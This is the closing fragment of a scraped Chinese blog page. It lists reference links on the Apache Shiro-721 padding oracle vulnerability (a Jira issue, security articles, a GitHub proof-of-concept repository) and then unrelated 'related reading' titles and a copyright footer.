    6. https://www.freebuf.com/articles/web/15504.html
    7. https://issues.apache.org/jira/browse/SHIRO-721
    8. https://github.com/longofo/PaddingOracleAttack-Shiro-721
    9. https://github.com/3ndz/Shiro-721/blob/master/Docker/src/samples-web-1.4.1.war
    10. https://www.anquanke.com/post/id/193165
    11. https://xz.aliyun.com/t/6227
  • 相关阅读:
    eclipse上运行spark程序
    Java实现高斯模糊算法处理图像
    Hadoop环境共享
    P1182 数列分段`Section II`
    NOIP2015题解
    镜面上的迷失之链 —— 二分判定性问题
    网络最大流
    [IOI2008]Island
    历史的进程——单调队列
    快速幂
  • 原文地址:https://www.cnblogs.com/wh4am1/p/12761959.html
Copyright © 2011-2022 走看看